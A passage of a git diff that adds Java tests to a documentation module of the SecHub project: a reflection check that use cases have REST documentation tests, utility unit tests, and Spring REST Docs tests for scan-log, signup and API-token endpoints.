TestContext fullData = new TestContext(); + + Reflections reflections = ReflectionsFactory.create(); + + /* inspect */ + Map, InspData> map = buildMapOfStepsNeedingRestDoc(reflections); + fetchMethodsDocumentedWithUsecaseRestdocAnnotation(fullData, reflections, map); + buildProblemsForUsecasesNeedingRestdocButIsMissing(fullData, map); + + /* test */ + if (fullData.isNotOkay()) { + fail(fullData.toString()); + } + } + + private static class TestContext { + StringBuilder problems = new StringBuilder(); + int amountOfmissingRestDocTests; + + public boolean isNotOkay() { + return problems.length() > 0; + } + + @Override + public String toString() { + StringBuilder sb = new StringBuilder(); + if (amountOfmissingRestDocTests > 0) { + sb.append(amountOfmissingRestDocTests); + sb.append(" @UseCaseRestDoc test are missing"); + } else { + sb.append("No @UseCaseRestDoc tests missing but other problems found"); + } + sb.append("\nProblem details:"); + sb.append(problems); + return sb.toString(); + } + } + + private static class InspData { + + private List stepmessages = new ArrayList<>(); + private Class key; + private int restDocFound; + + public InspData(Class key) { + this.key = key; + } + + public static InspData create(Class key) { + return new InspData(key); + } + + public void add(String stepInfo) { + stepmessages.add(stepInfo); + } + + @Override + public String toString() { + return "InspData [key=" + key + ",\n" + key.getSimpleName() + "\n - restDocFound=" + restDocFound + + ",\n - restDocNecessary=" + stepmessages.size() + ",\n - found places needs to be documented=\n" + + StringUtils.collectionToDelimitedString(stepmessages, "\n") + "\n]"; + } + + public void restDocFoundInc() { + restDocFound++; + } + + public boolean isRestDocMissing() { + return restDocFound < stepmessages.size(); + } + + public boolean areMoreRestDocsDefinedThanSteps() { + return restDocFound > stepmessages.size(); + } + + } + + private void buildProblemsForUsecasesNeedingRestdocButIsMissing(TestContext context, Map, InspData> map) { + for (Class clazz : map.keySet()) { + InspData data = map.get(clazz); + if (data.isRestDocMissing()) { + context.problems.append( + "\nUsecase must have documented REST API, but at least one @UseCaseRestDoc test ist missing: " + + data.toString()); + context.amountOfmissingRestDocTests++; + } else if (data.areMoreRestDocsDefinedThanSteps()) { + context.problems.append( + "\nMore tests annotated with @UseCaseRestDoc for the use case found, than defined in Steps. Please add entry to corresponding step: " + + data.toString()); + } + } + } + + private void fetchMethodsDocumentedWithUsecaseRestdocAnnotation(TestContext context, Reflections reflections, + Map, InspData> map) { + Set restDocAnnotatedMethods = reflections.getMethodsAnnotatedWith(UseCaseRestDoc.class); + for (Method method : restDocAnnotatedMethods) { + UseCaseRestDoc restdoc = method.getAnnotation(UseCaseRestDoc.class); + Class usecaseClass = restdoc.useCase(); + InspData found = map.get(usecaseClass); + if (found == null) { + context.problems.append( + "\nUseCaseRestDoc found, but not tagged inside one of the steps of " + restdoc.useCase()); + } else { + found.restDocFoundInc(); + } + } + } + + private Map, InspData> buildMapOfStepsNeedingRestDoc(Reflections reflections) + throws IllegalAccessException, InvocationTargetException { + Map, InspData> map = new LinkedHashMap<>(); + Set> usesCaseAnnotations = findUseCaseAnnotations(reflections); + + for (Class usecaseClass : usesCaseAnnotations) { + Set methodsOfUseCase = reflections.getMethodsAnnotatedWith(usecaseClass); + for (Method methodOfUseCase : methodsOfUseCase) { + Annotation annot = methodOfUseCase.getAnnotation(usecaseClass); + inspectMethodAnnotatedWithUseCase(map, usecaseClass, methodOfUseCase, annot); + } + } + return map; + } + + private void inspectMethodAnnotatedWithUseCase(Map, InspData> map, + Class usecaseClass, Method methodOfUseCase, Annotation annot) + throws IllegalAccessException, InvocationTargetException { + for (Method methodInAnnotation : annot.getClass().getDeclaredMethods()) { + /* each usecase annotation should have a step inside, so we extract STEP + * information in next steps + */ + if (Step.class.equals(methodInAnnotation.getReturnType())) { + /* found method */ + Step step = (Step) methodInAnnotation.invoke(annot); + if (step.needsRestDoc()) { + InspData data = map.computeIfAbsent(usecaseClass, key -> InspData.create(key)); + data.add(methodOfUseCase.toString()); + } + } + } + } + + @SuppressWarnings("unchecked") + private Set> findUseCaseAnnotations(Reflections reflections) { + Set> x = reflections.getTypesAnnotatedWith(UseCaseDefinition.class); + Set> usesCaseAnnotations = new LinkedHashSet<>(); + for (Object y : x) { + usesCaseAnnotations.add((Class) y); + } + return usesCaseAnnotations; + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/AnnotationDataLocationExtractorTest.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/AnnotationDataLocationExtractorTest.java new file mode 100644 index 0000000000..759b8e7082 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/AnnotationDataLocationExtractorTest.java @@ -0,0 +1,90 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.util; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.docgen.DocAnnotationData; + +public class AnnotationDataLocationExtractorTest { + + private AnnotationDataLocationExtractor extractorToTest; + + @Before + public void before() throws Exception { + extractorToTest = new AnnotationDataLocationExtractor(); + } + + @Test + public void null_results_in_empty_string() throws Exception { + + /* execute */ + String result = extractorToTest.extractLocation(null); + + /* test */ + assertEquals("", result); + + } + + @Test + public void empty_data_results_in_empty_string() throws Exception { + + /* prepare */ + DocAnnotationData data = new DocAnnotationData(); + + /* execute */ + String result = extractorToTest.extractLocation(data); + + /* test */ + assertEquals("", result); + + } + + @Test + public void data_with_field_results_in_correct_string() throws Exception { + + /* prepare */ + DocAnnotationData data = new DocAnnotationData(); + data.linkedField=getClass().getDeclaredField("extractorToTest"); + + /* execute */ + String result = extractorToTest.extractLocation(data); + + /* test */ + assertEquals("Field:AnnotationDataLocationExtractorTest.extractorToTest", result); + + } + + @Test + public void data_with_method_results_in_correct_string() throws Exception { + + /* prepare */ + DocAnnotationData data = new DocAnnotationData(); + data.linkedMethod=getClass().getMethod("data_with_method_results_in_correct_string"); + + /* execute */ + String result = extractorToTest.extractLocation(data); + + /* test */ + assertEquals("Method:AnnotationDataLocationExtractorTest#data_with_method_results_in_correct_string", result); + + } + + @Test + public void data_with_class_results_in_correct_string() throws Exception { + + /* prepare */ + DocAnnotationData data = new DocAnnotationData(); + data.linkedClass=AnnotationDataLocationExtractorTest.class; + + /* execute */ + String result = extractorToTest.extractLocation(data); + + /* test */ + assertEquals("Class:AnnotationDataLocationExtractorTest", result); + + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/ClasspathDataCollectorTest.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/ClasspathDataCollectorTest.java new file mode 100644 index 0000000000..317e48f00b --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/ClasspathDataCollectorTest.java @@ -0,0 +1,89 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.util; + +import static org.junit.Assert.*; + +import java.util.Iterator; +import java.util.List; + +import org.junit.Test; + +import com.daimler.sechub.docgen.DocAnnotationData; + +public class ClasspathDataCollectorTest { + @Test + public void mockconfiguration_annotation_data_can_be_fetched_and_at_least_one_spring_value_documentation_found() { + ClasspathDataCollector collector = new ClasspathDataCollector(); + + List data = collector.fetchMockAdapterSpringValueDocumentationParts(); + assertNotNull(data); + assertFalse(data.isEmpty()); + + Iterator iterator = data.iterator(); + + boolean atLeastOneDescribedSpringValueFound=false; + while (iterator.hasNext()) { + DocAnnotationData d = iterator.next(); + assertNotNull(d); + if (!atLeastOneDescribedSpringValueFound) { + if (d.springValue!=null) { + if (d.description!=null && ! d.description.isEmpty()) { + atLeastOneDescribedSpringValueFound=true; + } + } + } + } + assertTrue(atLeastOneDescribedSpringValueFound); + } + + @Test + public void mustbedocumented_annotation_data_can_be_fetched_and_at_least_one_spring_value_documentation_found() { + ClasspathDataCollector collector = new ClasspathDataCollector(); + + List data = collector.fetchMustBeDocumentParts(); + assertNotNull(data); + assertFalse(data.isEmpty()); + + Iterator iterator = data.iterator(); + + boolean atLeastOneDescribedSpringValueFound=false; + while (iterator.hasNext()) { + DocAnnotationData d = iterator.next(); + assertNotNull(d); + if (!atLeastOneDescribedSpringValueFound) { + if (d.springValue!=null) { + if (d.description!=null && ! d.description.isEmpty()) { + atLeastOneDescribedSpringValueFound=true; + } + } + } + } + assertTrue(atLeastOneDescribedSpringValueFound); + } + + @Test + public void mustbedocumented_annotation_data_can_be_fetched_and_at_least_one_spring_schedule_documentation_found() { + ClasspathDataCollector collector = new ClasspathDataCollector(); + + List data = collector.fetchMustBeDocumentParts(); + assertNotNull(data); + assertFalse(data.isEmpty()); + + Iterator iterator = data.iterator(); + + boolean atLeastOneDescribedSpringScheduleFound=false; + while (iterator.hasNext()) { + DocAnnotationData d = iterator.next(); + assertNotNull(d); + if (!atLeastOneDescribedSpringScheduleFound) { + if (d.springScheduled!=null) { + if (d.description!=null && ! d.description.isEmpty()) { + atLeastOneDescribedSpringScheduleFound=true; + } + } + } + } + assertTrue(atLeastOneDescribedSpringScheduleFound); + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/DocGenUtilTest.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/DocGenUtilTest.java new file mode 100644 index 0000000000..b8fccb2180 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/DocGenUtilTest.java @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.util; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.lang.reflect.AnnotatedElement; + +import org.junit.Test; +import org.springframework.scheduling.annotation.Scheduled; + +import com.daimler.sechub.docgen.DocAnnotationData; +import com.daimler.sechub.docgen.spring.SpringValueFilter; +import com.daimler.sechub.sharedkernel.MustBeDocumented; + +public class DocGenUtilTest { + + @Test + public void spring_scheduled__is_collected_by_build_method_and_set_to_data() throws Exception { + + /* prepare */ + AnnotatedElement element = mock(AnnotatedElement.class); + MustBeDocumented info = mock(MustBeDocumented.class); + Scheduled scheduled = mock(Scheduled.class); + when(scheduled.cron()).thenReturn("crondata"); + when(element.getDeclaredAnnotation(Scheduled.class)).thenReturn(scheduled); + + /* execute */ + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info, element); + + /* test */ + assertEquals(scheduled,data.springScheduled); + } + + @Test + public void toCamelOne_returns_first_part_of_simple_classname_until_second_upper_case() throws Exception { + assertEquals("Doc", DocGeneratorUtil.toCamelOne(DocGenUtilTest.class)); + assertEquals("Classpath", DocGeneratorUtil.toCamelOne(ClasspathDataCollector.class)); + assertEquals("Spring", DocGeneratorUtil.toCamelOne(SpringValueFilter.class)); + assertEquals("String", DocGeneratorUtil.toCamelOne(String.class)); + assertEquals("Class", DocGeneratorUtil.toCamelOne(Class.class)); + + } + + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/LicenseHeaderProviderTest.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/LicenseHeaderProviderTest.java new file mode 100644 index 0000000000..59b67be5d1 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/LicenseHeaderProviderTest.java @@ -0,0 +1,67 @@ +package com.daimler.sechub.docgen.util; + +import static org.junit.Assert.*; + +import java.io.File; + +import org.junit.Before; +import org.junit.Test; + +public class LicenseHeaderProviderTest { + + private LicenseHeaderProvider toTest; + + @Before + public void before() throws Exception { + toTest = new LicenseHeaderProvider(); + } + @Test + public void check_license_headers_for_NULL_is_null() { + assertLicenseHeader(null, null, null); + assertLicenseHeader(null, "", null); + assertLicenseHeader("adoc", null, null); + } + + @Test + public void check_license_headers_for_puml_as_expected() { + assertLicenseHeader("puml", null ,null); + assertLicenseHeader("puml", "\n\n@startuml", "// SPDX-License-Identifier: MIT"); + assertLicenseHeader("puml", "", "' SPDX-License-Identifier: MIT"); + } + + @Test + public void check_license_headers_for_plantuml_as_expected() { + assertLicenseHeader("plantuml", null , null); + assertLicenseHeader("plantuml", "\n\n@startuml", "// SPDX-License-Identifier: MIT"); + assertLicenseHeader("plantuml", "", "' SPDX-License-Identifier: MIT"); + } + + @Test + public void check_license_headers_for_adoc_as_expected() { + assertLicenseHeader("adoc", null, null); + assertLicenseHeader("adoc", "", "// SPDX-License-Identifier: MIT"); + assertLicenseHeader("adoc", "\n\n@startuml", "// SPDX-License-Identifier: MIT"); + } + + @Test + public void check_license_headers_for_asciidoc_as_expected() { + assertLicenseHeader("asciidoc", null, null); + assertLicenseHeader("asciidoc", "", "// SPDX-License-Identifier: MIT"); + assertLicenseHeader("asciidoc", "\n\n@startuml", "// SPDX-License-Identifier: MIT"); + } + + private void assertLicenseHeader(String fileEnding, String text, String expectedHeader) { + File file; + if (fileEnding==null) { + file = null; + }else { + if (!fileEnding.startsWith(".")) { + fileEnding = "." + fileEnding; + } + file = new File("xyz" + fileEnding); + } + String header = toTest.getLicenseHeader(text, file); + assertEquals(expectedHeader, header); + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/RestDocTestFileSupport.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/RestDocTestFileSupport.java new file mode 100644 index 0000000000..b5a8f3d3a8 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/RestDocTestFileSupport.java @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.util; + +import com.daimler.sechub.test.SechubTestComponent; +import com.daimler.sechub.test.TestFileSupport; + +@SechubTestComponent +public class RestDocTestFileSupport extends TestFileSupport{ + + private static final RestDocTestFileSupport TESTFILE_SUPPORT = new RestDocTestFileSupport(); + + public static RestDocTestFileSupport getTestfileSupport() { + return TESTFILE_SUPPORT; + } + + RestDocTestFileSupport() { + super("sechub-doc/src/test/resources"); + } + + + + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java new file mode 100644 index 0000000000..e94e16cf69 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.util; + +import static org.junit.Assert.*; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileReader; + +import org.junit.Before; +import org.junit.Test; + +public class TextFileWriterTest { + + private TextFileWriter writerToTest; + + + @Before + public void before() throws Exception { + writerToTest = new TextFileWriter(); + } + + + @Test + public void is_able_to_save_a_temporary_file() throws Exception { + /* prepare */ + File file = new File(System.getProperty("java.io.tmpdir")); + File subFolder = new File(file, "subFolder"); + File targetFile = new File(subFolder, "targetFile"); + targetFile.deleteOnExit(); + + /* execute */ + writerToTest.save(targetFile, "text"); + + /* test */ + assertTrue(targetFile.exists()); + + try (BufferedReader br = new BufferedReader(new FileReader(targetFile))) { + String line = br.readLine(); + assertEquals("text", line); + } + } +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/restdoc/AdminshowsScanLogsForProjectRestDocTest.java b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/AdminshowsScanLogsForProjectRestDocTest.java new file mode 100644 index 0000000000..a85d1a8970 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/AdminshowsScanLogsForProjectRestDocTest.java @@ -0,0 +1,114 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.restdoc; + +import static com.daimler.sechub.test.TestURLBuilder.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; +import static org.springframework.restdocs.mockmvc.MockMvcRestDocumentation.*; +import static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.*; +import static org.springframework.restdocs.payload.PayloadDocumentation.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import java.time.LocalDateTime; +import java.util.ArrayList; +import java.util.List; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.restdocs.AutoConfigureRestDocs; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.http.MediaType; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.docgen.util.RestDocPathFactory; +import com.daimler.sechub.domain.administration.project.ProjectAdministrationRestController; +import com.daimler.sechub.domain.scan.log.ProjectScanLog; +import com.daimler.sechub.domain.scan.log.ProjectScanLogService; +import com.daimler.sechub.domain.scan.log.ProjectScanLogSummary; +import com.daimler.sechub.domain.scan.log.ScanLogRestController; +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseAdministratorShowsScanLogsForProject; +import com.daimler.sechub.test.ExampleConstants; +import com.daimler.sechub.test.TestPortProvider; +@RunWith(SpringRunner.class) +@WebMvcTest(ProjectAdministrationRestController.class) +@ContextConfiguration(classes = { ScanLogRestController.class, + AdminshowsScanLogsForProjectRestDocTest.SimpleTestConfiguration.class }) +@WithMockUser(authorities = RoleConstants.ROLE_SUPERADMIN) +@ActiveProfiles(Profiles.TEST) +@AutoConfigureRestDocs(uriScheme="https",uriHost=ExampleConstants.URI_SECHUB_SERVER,uriPort=443) +public class AdminshowsScanLogsForProjectRestDocTest { + + private static final String PROJECT1 = "project1"; + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getRestDocTestPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + ProjectScanLogService projectScanLogService; + + @Before + public void before() { + List summaries = new ArrayList<>(); + String status=ProjectScanLog.STATUS_OK; + + LocalDateTime started = LocalDateTime.now().minusDays(1); + LocalDateTime ended = LocalDateTime.now(); + String executedBy = "spartakus"; + UUID sechubJobUUID= UUID.randomUUID(); + ProjectScanLogSummary summary = new ProjectScanLogSummary(sechubJobUUID, executedBy, started, ended, status); + summaries.add(summary); + + when(projectScanLogService.fetchSummaryLogsFor(eq(PROJECT1))).thenReturn(summaries); + } + + @Test + @UseCaseRestDoc(useCase=UseCaseAdministratorShowsScanLogsForProject.class) + public void restdoc_admin_downloads_scan_logs_for_project() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildAdminFetchesScanLogsForProject(PROJECT1)). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorShowsScanLogsForProject.class), + /* we do not document more, because its binary / zip file...*/ + responseFields( + fieldWithPath("[]").description("An array of scan log summary entries"), + fieldWithPath("[].executedBy").description("The user id of the user which executed the scan"), + fieldWithPath("[].started").description("The timestamp when the scan was started"), + fieldWithPath("[].ended").description("The timestamp when the scan was ended"), + fieldWithPath("[].status").description("A status field about scan situation"), + fieldWithPath("[].sechubJobUUID").description("The uuid of corresponding sechub Job.") + + ) + ) + + ); + + /* @formatter:on */ + } + + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration { + + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/restdoc/AnonymousSignupRestControllerRestDocTest.java b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/AnonymousSignupRestControllerRestDocTest.java new file mode 100644 index 0000000000..3281e7dd85 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/AnonymousSignupRestControllerRestDocTest.java @@ -0,0 +1,91 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.restdoc; + + +import static com.daimler.sechub.test.TestURLBuilder.*; +import static org.springframework.restdocs.mockmvc.MockMvcRestDocumentation.*; +import static org.springframework.restdocs.payload.PayloadDocumentation.*; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.restdocs.AutoConfigureRestDocs; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.http.MediaType; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.docgen.util.RestDocPathFactory; +import com.daimler.sechub.domain.administration.signup.AnonymousSignupCreateService; +import com.daimler.sechub.domain.administration.signup.AnonymousSignupRestController; +import com.daimler.sechub.domain.administration.signup.SignupJsonInputValidator; +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; +import com.daimler.sechub.sharedkernel.usecases.user.UseCaseUserSignup; +import com.daimler.sechub.sharedkernel.validation.ApiVersionValidationImpl; +import com.daimler.sechub.sharedkernel.validation.UserIdValidationImpl; +import com.daimler.sechub.test.ExampleConstants; +import com.daimler.sechub.test.TestPortProvider; +@RunWith(SpringRunner.class) +@WebMvcTest(AnonymousSignupRestController.class) +@ContextConfiguration(classes= {AnonymousSignupRestController.class, + SignupJsonInputValidator.class, + UserIdValidationImpl.class, + ApiVersionValidationImpl.class, + AnonymousSignupRestControllerRestDocTest.SimpleTestConfiguration.class}) +@WithMockUser +@ActiveProfiles(Profiles.TEST) +@AutoConfigureRestDocs(uriScheme="https",uriHost=ExampleConstants.URI_SECHUB_SERVER,uriPort=443) +public class AnonymousSignupRestControllerRestDocTest { + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getRestDocTestPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + private AnonymousSignupCreateService mockedScheduleService; + + @Test + @UseCaseRestDoc(useCase=UseCaseUserSignup.class) + public void calling_with_api_1_0_and_valid_userid_and_email_returns_HTTP_200() + throws Exception { + /* prepare */ + + /* execute */ + /* @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildUserSignUpUrl()). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE). + content("{\"apiVersion\":\"1.0\",\"userId\":\"valid_userid\",\"emailAdress\":\"valid_mailadress@test.com\"}") + )./*andDo(print()).*/ + andExpect(status().isOk()).andDo( + document(RestDocPathFactory.createPath(UseCaseUserSignup.class), + requestFields( + fieldWithPath("apiVersion").description("The api version, currently only 1.0 is supported"), + fieldWithPath("userId").description("Wanted userid, the userid must be lowercase only!"), + fieldWithPath("emailAdress").description("Email adress") + )) + ); + + /* @formatter:on */ + } + + @TestConfiguration + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration{ + + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/restdoc/AnonymousUserGetAPITokenByOneTimeTokenRestControllerRestDocTest.java b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/AnonymousUserGetAPITokenByOneTimeTokenRestControllerRestDocTest.java new file mode 100644 index 0000000000..42c80a6ddd --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/AnonymousUserGetAPITokenByOneTimeTokenRestControllerRestDocTest.java @@ -0,0 +1,87 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.restdoc; + +import static com.daimler.sechub.test.TestURLBuilder.*; +import static com.daimler.sechub.test.TestURLBuilder.RestDocPathParameter.*; +import static org.springframework.restdocs.mockmvc.MockMvcRestDocumentation.*; +import static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.*; +import static org.springframework.restdocs.request.RequestDocumentation.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.restdocs.AutoConfigureRestDocs; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.http.MediaType; +import org.springframework.security.test.context.support.WithAnonymousUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.docgen.util.RestDocPathFactory; +import com.daimler.sechub.domain.administration.user.AnonymousUserGetAPITokenByOneTimeTokenService; +import com.daimler.sechub.domain.administration.user.AnonymousUserGetApiTokenByOneTimeTokenRestController; +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; +import com.daimler.sechub.sharedkernel.usecases.user.UseCaseUserClicksLinkToGetNewAPIToken; +import com.daimler.sechub.test.ExampleConstants; +import com.daimler.sechub.test.TestPortProvider; + +@RunWith(SpringRunner.class) +@WebMvcTest(AnonymousUserGetApiTokenByOneTimeTokenRestController.class) +@ContextConfiguration(classes = { AnonymousUserGetApiTokenByOneTimeTokenRestController.class, + AnonymousUserGetAPITokenByOneTimeTokenRestControllerRestDocTest.SimpleTestConfiguration.class }) +@ActiveProfiles(Profiles.TEST) +@AutoConfigureRestDocs(uriScheme="https",uriHost=ExampleConstants.URI_SECHUB_SERVER,uriPort=443) +public class AnonymousUserGetAPITokenByOneTimeTokenRestControllerRestDocTest { + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getRestDocTestPort(); + + @Autowired + private MockMvc mockMvc; + + + @MockBean + AnonymousUserGetAPITokenByOneTimeTokenService userApiTokenService; + + @Before + public void before() { + } + + @Test + @WithAnonymousUser + @UseCaseRestDoc(useCase=UseCaseUserClicksLinkToGetNewAPIToken.class) + public void restdoc_user_clicks_link_to_get_NewApiToken() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED). + buildAnonymousGetNewApiTokenByLinkWithOneTimeTokenUrl(ONE_TIME_TOKEN.pathElement()),"oneTimeToken1"). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseUserClicksLinkToGetNewAPIToken.class), + pathParameters( + parameterWithName(ONE_TIME_TOKEN.paramName()).description("A one time token the user has got by a previous mail from sechub server") + ) + ) + + ); + + /* @formatter:on */ + } + + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration { + + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/restdoc/AnonymousUserRequestsNewApiTokenRestDocTest.java b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/AnonymousUserRequestsNewApiTokenRestDocTest.java new file mode 100644 index 0000000000..4971ef298d --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/AnonymousUserRequestsNewApiTokenRestDocTest.java @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.restdoc; + +import static com.daimler.sechub.test.TestURLBuilder.*; +import static com.daimler.sechub.test.TestURLBuilder.RestDocPathParameter.*; +import static org.springframework.restdocs.mockmvc.MockMvcRestDocumentation.*; +import static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.*; +import static org.springframework.restdocs.request.RequestDocumentation.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.restdocs.AutoConfigureRestDocs; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.http.MediaType; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.docgen.util.RestDocPathFactory; +import com.daimler.sechub.domain.administration.user.AnonymousUserRequestNewApiTokenRestController; +import com.daimler.sechub.domain.administration.user.AnonymousUserRequestsNewApiTokenService; +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; +import com.daimler.sechub.sharedkernel.usecases.user.UseCaseUserRequestsNewApiToken; +import com.daimler.sechub.test.ExampleConstants; +import com.daimler.sechub.test.TestPortProvider; + +@RunWith(SpringRunner.class) +@WebMvcTest(AnonymousUserRequestNewApiTokenRestController.class) +@ContextConfiguration(classes = { AnonymousUserRequestNewApiTokenRestController.class, + AnonymousUserRequestsNewApiTokenRestDocTest.SimpleTestConfiguration.class }) +@WithMockUser +@ActiveProfiles(Profiles.TEST) 